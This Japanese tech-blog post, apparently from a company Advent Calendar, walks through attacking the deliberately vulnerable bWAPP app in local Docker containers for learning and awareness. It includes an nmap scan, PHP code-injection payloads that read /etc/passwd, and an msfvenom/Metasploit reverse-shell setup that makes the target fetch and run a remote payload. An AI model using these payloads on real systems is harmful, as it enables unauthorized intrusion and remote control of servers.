攻撃入門

この記事はエイチーム引越し侍 / エイチームコネクトの社員による、[Ateam Hikkoshi samurai Inc.× Ateam Connect Inc. Advent Calendar 2020](https://qiita.com/advent-calendar/2020/hikkoshizamurai-connect) 14日目の記事です。

# はじめに

最近、個人情報流出が、、とか標的型攻撃が、、とか耳にすることが多いですね。
普段はWebアプリケーションエンジニアをやっておりますが、
ブラッディ・マンデイに憧れて大学時代はセキュリティ学を選考しておりました。
ということで、今回は「攻撃入門」ということで、
ハッキングを行うための脆弱性の詰まった`bWAPP`というアプリケーションを立ち上げ攻撃を仕掛けていきます。

この記事をみて、少しでも怖いなぁという感情を抱いたら、
自分たちのシステムが本当に安全なのか？
ということを自問し、対策に努めていただければと思います。

# 注意事項

本記事の内容を自分のサーバー以外に仕掛けると犯罪になります。
本記事では、Dockerコンテナを立ち上げ、全てローカルで実行しております。
自分のサービスを守るために学ぶのであり、**決して悪用するために読むのではないことを肝に命じてください。**

# 前準備

今回はハッキングを行うための脆弱性の詰まった`bWAPP`というアプリケーションを
コンテナで立ち上げて、攻撃を仕掛けていきます。
攻撃クライアントは`kali linux`というペネストレーションテストを得意とするLinuxを用いるため、
そちらも立ち上げていきます。

### `bWAPP`と`kali linux`コンテナの立ち上げ

以下のようにコンテナを立ち上げてください。

```bash
$ docker run -d -p 80:80 raesene/bwapp
$ docker run -d -p 4443:4443 kalilinux/kali
```

# ハッキング開始

## 調査

まずは、脆弱性がどこにあるのか？ということを調査していきます。
使われているOSのバージョンや開いているポート、動いている技術やそのバージョン等を調べていきます。

### ポートスキャン

ネットワーク経由で攻撃を仕掛ける時は、各ポートの状態を調べるポートスキャンから始めます。
`nmap`というコマンドを使います。

今回はローカルでdockerコンテナを立ち上げているので、あまり有益な情報は得られませんが、
localhostに対してnmapを実行してみます。

```bash
$ sudo nmap -A localhost
80/tcp   open  http Apache httpd 2.4.7
```

80番ポートでApacheの2.4.7が動いてそうですね。

```bash
$ searchsploit apache | grep \ 2.4.7
```

Apache2.4.7に対する脆弱性を探せたりします。

今回はApacheの脆弱性は利用しませんが、
すでにある脆弱性を突くのはとても有効な手段です。
きちんとバージョン追従しましょうね。。

せっかくbWAPPが動いているので、サイトにアクセスして、
開発者が埋め込んでしまった脆弱性を探していきます。

### Code Injectionでサーバー内の情報を探る

bwappではPHPが動いていて、PHP Code Injectionの脆弱性が含まれています。
添付画像のように、パラメータで渡ってきたものがそのまま表示されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136353/19b7da7d-af2b-9320-5766-33e6586e81b2.png)

messageにphpinfo();というパラメータを渡してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136353/5230c7e2-32b7-04ed-e60b-e6fc01cde93a.png)

phpinfoの情報が表示されましたが、ここで重要なのは、PHPのコードがそのまま実行されてしまうということにあります。

流石にこんな脆弱性は埋め込まないよ 笑

と思った方もいるかもしれませんが、攻撃手法は多種多様です。
Nullバイト攻撃等で本来実行されるはずのないコードを実行したりもできます。

さて、PHPのコードが実行できることはわかったので、サーバーの情報をみていきましょう。

```
message=system('cat /proc/version');
> Linux version 4.19.76-linuxkit
message=system('whoami');
> www-data www-data
message=system('id www-data')
> uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
message=system('cat /etc/passwd');
> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

Linuxのバージョンやユーザーなどをみることができました。
PHPはwww-dataというユーザーで動いており、流石にroot権限とかはなさそうです。
なので、ここで、useraddとかはできなさそうですね

## 攻撃

では、実際の攻撃に入っていきます。
www-dataという権限でPHPが動かされていることがわかったので、
このアカウントを奪取したいと思います。

### リバースシェルを手に入れる

普通はクライアントからサーバーに対してsshなどを行い、シェルにアクセスをするかと思いますが、
リバースシェルはその逆で、サーバー側から待ち受けているクライアントに対して接続しにいきます。
そして、サーバー側からクライアントに対してシェルの実行を許可してしまえば、
クライアントからサーバーのコマンドを実行することができるようになります。

#### （クライアント）リバースシェルの作成

```bash
# ペイロードの作成
# LHOSTはクライアントのIPアドレス、LPORTは待ち合わせたいポートを指定します。
# 今回は、ローカルにkali linuxコンテナを立ち上げて、ペイロード作成を行ました。
$ msfvenom -p php/meterpreter_reverse_tcp LHOST=172.17.0.2 LPORT=4443 -f raw -o ./evil.txt
# 待ち合わせる
$ msfconsole
msf> use exploit/multi/handler
msf exploit(multi/handler)> set LPORT 4443
msf exploit(multi/handler)> set LHOST 172.17.0.2
msf exploit(multi/handler)> set PAYLOAD php/meterpreter_reverse_tcp
msf exploit(multi/handler)> run
```

#### （サーバー）リバースシェルへの接続

PHPのコードは実行できることがわかっているので、
どこかのサーバーにevil.txtを用意し、

```
message=http://172.17.0.2/evil.txt
```
としてダウンロード実行されるようにする。

上のリバースシェルへの接続が成功するとプロンプトが表示されます。
meterpreterセッションが確立されている状態なので、クライアント側にshell実行を許可します

```bash
meterpreter > shell
```

こうすることでシェルを実行できるようになりました。
ここからroot権限の奪取やパスワードの奪取を行っていく流れになるかと思いますが、
今回はこれで終わりにしたいと思います。

# おわりに

いかがでしたでしょうか？
攻撃入門ということで、脆弱性のあるアプリケーションを攻撃してみました。
今回は防御手法について触れませんでしたが、
僕たちWebアプリケーションエンジニアは常に危険に晒されているということを
実感し、対策をしていただければと思います。

一番の対策は、きちんとセキュリティパッチを当てることだと思います。
時間がないことを言い訳にしてバージョンアップを怠ると、
大切なサービスや人を守れないということを肝に銘じていきましょう。

明日の[Ateam Hikkoshi samurai Inc.× Ateam Connect Inc. Advent Calendar 2020](https://qiita.com/advent-calendar/2020/hikkoshizamurai-connect)は@umesourさんが記事を書きます。お楽しみに！